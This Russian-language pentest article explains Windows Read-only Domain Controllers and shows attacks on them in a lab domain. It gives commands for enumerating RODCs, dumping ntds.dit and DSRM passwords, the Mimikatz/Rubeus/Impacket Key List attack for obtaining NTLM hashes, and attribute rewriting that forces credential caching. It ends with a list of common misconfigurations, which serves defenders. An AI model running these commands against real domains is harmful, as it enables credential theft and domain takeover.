Статья Пентестим Read-only Domain Controllers

[baykal]

В сетях на основе Windows существует специальный подвид контроллеров домена под названием Read-only Domain Controller. Сегодня мы поговорим об уязвимостях таких контроллеров и рассмотрим векторы атак, которые можно к ним применить.

ТЕОРИЯ​

Определения и особенности​

Read-only Domain Controller был представлен в Windows Server 2008. Его основная цель — обеспечить безопасное взаимодействие сервера со службой каталогов. Очень часто подобные контроллеры домена ставят в каких‑нибудь удаленных офисах компании, старых филиалах и прочих местах, где невозможно гарантировать достаточную физическую безопасность сервера. Получив доступ к такому устройству, ни один злоумышленник не сможет толком повлиять на домен.

Внутри RODC хранится копия базы AD, но чуточку измененная. Во‑первых, не сохраняется множество атрибутов, например ms-Mcs-AdmPwd — в этом атрибуте хранится пароль локального администратора при настроенном LAPS. Во‑вторых, разрешено кешировать учетные данные лишь конкретных пользователей. Например, пользователей этого самого удаленного офиса.

Что такое кеширование? Это обычное сохранение учетных данных пользователей. Сохраняются они в файле ntds.dit, равно как и на обычном контроллере домена.

Причем RODC не создает домен, а добавляется в существующий. Делается это еще на этапе установки и выглядит вот так.

Настройка RODC

При этом использование RODC дает множество преимуществ в плане безопасности: отдельный DNS-сервер, изменения в котором никак не отражаются на основном, делегирование роли администратора любому пользователю (причем этот пользователь необязательно должен быть администратором на обычных контроллерах домена).

Назначение пользователей

Также следует выделить особенность репликации (DCSYNC) — она возможна только со стороны обычного контроллера домена. RODC ничего реплицировать не может. Также присутствует изоляция SYSVOL — любые изменения в групповых политиках остаются на RODC и не распространяются на основной домен.

Если рассматривать RODC на «тировой» архитектуре Microsoft, то возникают определенные сложности, так как принадлежащие Tier 0 ресурсы не могут работать в тех местах, где должны находиться RODC. А RODC не должны иметь под контролем какие‑либо ресурсы из Tier 0. Поэтому хосты RODC и учетные данные для подключения к ним никак не могут принадлежать Tier 0, но вот сами компьютерные объекты RODC следует защищать, как Tier 0.

Атрибуты​

RODC имеет множество особенностей. Первая — почти вся нужная атакующему информация находится в атрибутах компьютерной учетной записи RODC. Наиболее интересные для нас атрибуты кратко описаны ниже.

managedBy​

Здесь указывается объект, которому делегировано административное управление RODC. Любой пользователь или группа, указанные в этом атрибуте, являются локальными администраторами на RODC:

Get-ADComputer 'RODC' -prop managedBy

Изучение атрибута

msDS-RevealOnDemandGroup, msDS-NeverRevealGroup​

В этом атрибуте указываются объекты, учетные данные которых могут кешироваться. Кеширование нужно для того, чтобы эти пользователи могли проходить проверку подлинности на RODC.

Get-ADComputer 'RODC' -prop msDS-RevealOnDemandGroup,msDS-NeverRevealGroup

Изучение атрибутов

Соответственно, существует атрибут, запрещающий кеширование прописанных в нем учетных данных объектов. Он называется msDS-NeverRevealGroup.

msDS-AuthenticatedToAccountList​

Здесь будут храниться объекты, которые успешно аутентифицировались на RODC:

Get-ADComputer 'RODC' -prop msDS-AuthenticatedToAccountList

Изучение атрибута

msDS-Revealed*​

Это целая группа из нескольких атрибутов:

• msDS-RevealedUsers — список объектов, учетные данные которых когда‑либо кешировались на RODC;
• msDS-RevealedDSAs — список RODC, которые кешировали пароль пользователя;
• msDS-RevealedList — список объектов, учетные данные которых были успешно сохранены на RODC.

Get-ADComputer 'RODC' -prop msDS-RevealedList,msDS-RevealedDSAs,msDS-RevealedUsers

Изучение атрибутов

Аутентификация пользователей​

RODC кеширует учетные данные определенных пользователей как раз таки, чтобы проверить их подлинность. После успешной аутентификации по всем канонам должен быть сгенерирован TGT-билет, но RODC нельзя считать надежным KDC, поэтому у него создается собственная учетная запись krbtgt. Ее пароль используется для подписи создаваемых TGT.

Упомянутая учетная запись имеет необычное имя: krbtgt_<цифры>. Эти самые цифры — специальный идентификатор ключа, который использовался для шифрования TGT-билета. Имя новой учетной записи KRBTGT хранится в атрибуте msDS-KrbTgtLink объекта RODC. А у этой самой новой учетной записи KRBTGT в атрибуте msDS-KrbTgtLinkBl содержится имя RODC. Таким образом, обнаружив RODC, можно связать его с конкретным KRBTGT_XXXXX. И, соответственно, обнаружив KRBTGT_XXXXX, можно связать его с конкретным RODC.

Дополнительно отмечу, что RODC имеет право на сброс пароля этой самой KRBTGT_XXXXX.

Get-ADUser -filter {name -like "krbtgt*"} -prop Name,Created,PasswordLastSet,msDS-KeyVersionNumber,msDS-KrbTgtLinkBl

Нахождение KRBTGT_XXXXX

Get-ADComputer RODC -Properties msDS-KrbTgtLink

Нахождение связанного krbtgt

Get-ADUser krbtgt_19160 -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl

ПОИСК RODC​

Как я уже отметил, ты можешь обнаружить учетную запись с именем KRBTGT_<цифры>, после чего глянуть ее атрибут msDS-KrbTGTLinkBl и найти связанный контроллер, но есть и иные способы нахождения RODC.

Самый простой — использовать фильтр:

Get-ADDomainController -filter {ISReadOnly -eq $True}

Поиск RODC

Также была обнаружена группа «Контроллеры домена — только чтение» и «Контроллеры домена предприятия — только чтение», которые имеют RID 521 и 498 соответственно. RODC входит в одну из этих групп в зависимости от его уровня. Соответственно, мы можем либо перебрать все компьютеры, анализируя их атрибут PrimaryGroupID, либо сначала получить GUID этих групп:

Get-ADGroup -filter {name -like "*чтен*"}

Нахождение групп

А затем извлечь участников:

Get-ADGroupMember -identity d876774c-474b-4a70-a3d9-e89998e5a99e

Находим участников

ПОЛУЧЕНИЕ КЕШИРОВАННЫХ ПАРОЛЕЙ С RODC​

Первым делом ты должен получить принципала, который имеет права локального администратора на RODC. Это может быть компрометация как кого‑то привилегированного, так и просто пользователя, прописанного в атрибуте managedBy. Но перед этим не забудь выяснить, кого вообще мы можем скомпрометировать. Для этого загляни в атрибут msDS-RevealedUsers:

Get-ADComputer 'RODC' -prop msDS-RevealedUsers,msDS-RevealOnDemandGroup,msDS-RevealedList

Просмотр атрибутов

Просмотр атрибутов

Столь большие отличия не случайны. Вроде бы кешировать разрешено RACHAEL_LAMBERT и администратора, а закешированы данные только второго, откуда‑то взявшегося RODC и krbtgt_19160. Проблема заключается в том, что кеширования произойдет только после успешной аутентификации пользователя в домене. То есть если RACHAEL_LAMBERT сейчас залогинится, то данные этого пользователя будут переданы RODC обычным контроллером домена для кеширования. Учетные данные RODC и krbtgt_19160 лежат в кеше потому, что компьютерная учетная запись используется, например, при работе со службой каталогов, а с помощью KRBTGT шифруются выдаваемые TGT.

Так как все закешированные пароли будут лежать в ntds.dit, то смело дампим его любым удобным способом. Но сначала нужно получить доступ от лица локального администратора. Вспомним, что в атрибуте managedBy был прописан некий FAUSTINO_SHERMAN.

Атрибут managedBy

Получаем доступ к этому пользователю, заходим на хост и видим, что мы действительно в группе ЛА.

Членство в группе локальных администраторов

После этого дампим ntds.dit как нам угодно, например через VSS.

DSRM​

У всех контроллеров домена есть такая штука, которая называется DSRM. Она позволяет сделать «запасной» пароль для учетной записи локального администратора на случай, если вдруг основной пароль забыт или утерян.

Как только мы получили доступ к RODC, обязательно нужно дампить SAM с целью поиска этого пароля. Пароль связан с учетной записью администратора, RID которой равен 500.

Получение DSRM

Причем если мы сравним этот пароль со стандартным паролем администратора, то они будут отличаться.

Пароль обычного администратора

Нам может повезти, а может нет. Во‑первых, чаще всего устанавливается один и тот же пароль DSRM на все контроллеры домена, и мы сможем зайти на другой контроллер домена от лица администратора. Но, во‑вторых, чтобы зайти от имени администратора, нужна особая настройка контроллера: требуется, чтобы значение DsrmAdminLogonBehaviour по пути HKLM\System\CurrentControlSet\Control\Lsa было равно 2.

Проверка реестра

Если нам повезет, то мы сможем выполнить вход от имени админской учетки.

Успешная аутентификация

ОСОБЕННОСТИ РАБОТЫ KERBEROS С RODC​

Самая главная особенность работы Kerberos с RODC в том, что RDOC не может синхронизироваться с контроллером домена. Процесс DCSYNC возможен лишь в одну сторону — с обычного контроллера на RODC. Синхронизировать что‑либо с RODC невозможно.

Дамп с RODC

Дамп с DC

Также сгенерированный RODC TGT можно использовать и в домене, отдав его запросом TGS-REQ на службу krbtgt обычного контроллера домена. Когда обычный КД получает данный TGT, он смотрит атрибут msDS-RevealOnDemandGroup RODC и проверяет: если принципал тикета указан в этом атрибуте и не указан в msDS-NeverRevealGroup, то TGT будет обновлен до «полного» TGT и подписан ключом обычной учетной записи krbtgt контроллера домена. Причем обычный контроллер домена перегенерирует PAC билета, а не станет его копировать из TGT, сгенерированного RODC.

Таким образом, если мы хотим создать «золотой», «бриллиантовый» или «сапфировый» тикет, обязательно следить за тем, какой пользователь нам нужен. Принципал ни в коем случае не должен присутствовать в списке msDS-NeverRevealGroup.

KEY LIST​

Эта атака позволяет извлечь NTLM-хеш пользователя, злоупотребляя особенностями взаимодействия RODC с обычным контроллером домена. Сначала «золотой» тикет генерируется с использованием ключа krbtgt RODC и отправляется в запросе TGS-REQ на обычный контроллер домена. При этом устанавливается специальный флаг KERB-KEY-LIST-REQ. И если целевая учетная запись присутствует в атрибуте msDS-RevealOnDemandGroup RODC и отсутствует в атрибуте msDS-NeverRevealGroup, то TGS-REP будет содержать структуру KERB-KEY-LIST-REP с учетными данными пользователя.

Для выполнения атаки нам нужны:

1. AES-ключ учетной записи krbtgt с RODC.
2. Номер версии ключа (последние цифры в имени krbtgt).
3. Имя пользователя, хеш которого хотим получить. Пользователь должен быть прописан в атрибуте msDS-RevealOnDemandGroup.

Первые два объекта можно получить, используя Mimikatz:

lsadump::lsa /inject /name:krbtgt_19160

Извлечение ключа AES-256

А потом можно воспользоваться Rubeus либо Impacket для получения NTLM-хеша пользователя:

# impacket

impacket-keylistattack CRINGE/FAUSTINO_SHERMAN:pass123@dc01 -rodcNo 19160 -rodcKey fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 -dc-ip 192.168.116.133 -debug

# Rubeus

# Сначала запрашиваем TGT

Rubeus.exe golden /rodcNumber:19160 /aes256:fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 /user:RACHAEL_LAMBERT /id:1196 /domain:cringe.lab /sid:S-1-5-21-1437000690-1664695696-1586295871

# Отдаем TGT в запрос TGS-REQ

Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/cringe.lab /dc:dc1.cringe.lab /ticket:doIFgzCCBX+gA

Impacket перебирает всех пользователей домена

Листаем вниз и находим хеш пользователя.

Impacket натыкается на пользователя из msDS-RevealOnDemandGroup

КОНТРОЛЬ НАД ОБЪЕКТОМ RODC​

Если вдруг в ходе пентеста получилось обнаружить учетную запись, которая имеет права GenericWrite/GenericAll/WriteProperty на msDS-RevealOnDemandGroup и желательно на msDS-NeverRevealGroup, то захват домена обеспечен! Все сводится к изменению этих самых атрибутов msDS-RevealOnDemandGroup и msDS-NeverRevealGroup, что приведет к кешированию паролей новых пользователей.

Например, мы видим, что кеширование неких RAMONA_TURNER, RAMON_STEWART и RANDELL_COLON отключено.

Изучение атрибутов

Поскольку у нас учетная запись имеет контроль над этим атрибутом, просто очищаем его:

Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'

Очистка атрибутов

А в атрибут msDS-RevealOnDemandGroup, наоборот, добавляем пользователей:

Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=RAMONA_TURNER,OU=Test,OU=BDE,OU=Tier 1,DC=cringe,DC=lab', 'CN=RAMON_STEWART,OU=ESM,OU=Stage,DC=cringe,DC=lab', 'CN=RANDELL_COLON,OU=TST,OU=Tier 2,DC=cringe,DC=lab')}

Изменение атрибутов

Далее придется некоторое время подождать, пока не пройдет успешная синхронизация RODC с обычным контроллером домена и получение учетных данных пользователей, указанных в msDS-RevealOnDemandGroup. Для этого мониторь содержимое атрибута msDS-RevealedList: в нем хранится список объектов, учетные данные которых успешно закешировались на RODC. Команды смотри в разделе «Поиск».

ЗАКЛЮЧЕНИЕ​

RODC пользуется популярностью у системных администраторов. Да, этот инструмент удобен, но мало кто знает, что он создает новые векторы для атак. Самые частые мисконфиги:

1. Кеширование RODC большого числа учетных данных, например когда в msDS-RevealOnDemandGroup указывают группу Authenticated Users. Компрометируется RODC, и мы получаем доступ к этим данным.
2. RODC администрируются группой RODC Admins, которая чаще всего не защищена должным образом. Соответственно, атакующий пробивается в эту группу, идет на RODC, а далее смотри пункт 1.
3. Пароль DSRM на обычном контроллере домена и на контроллере домена RODC одинаковый.

Иными словами, RODC нельзя считать панацеей, но при грамотном администрировании множество распространенных ошибок получится сгладить либо исправить.

Автор @MichelleVermishelle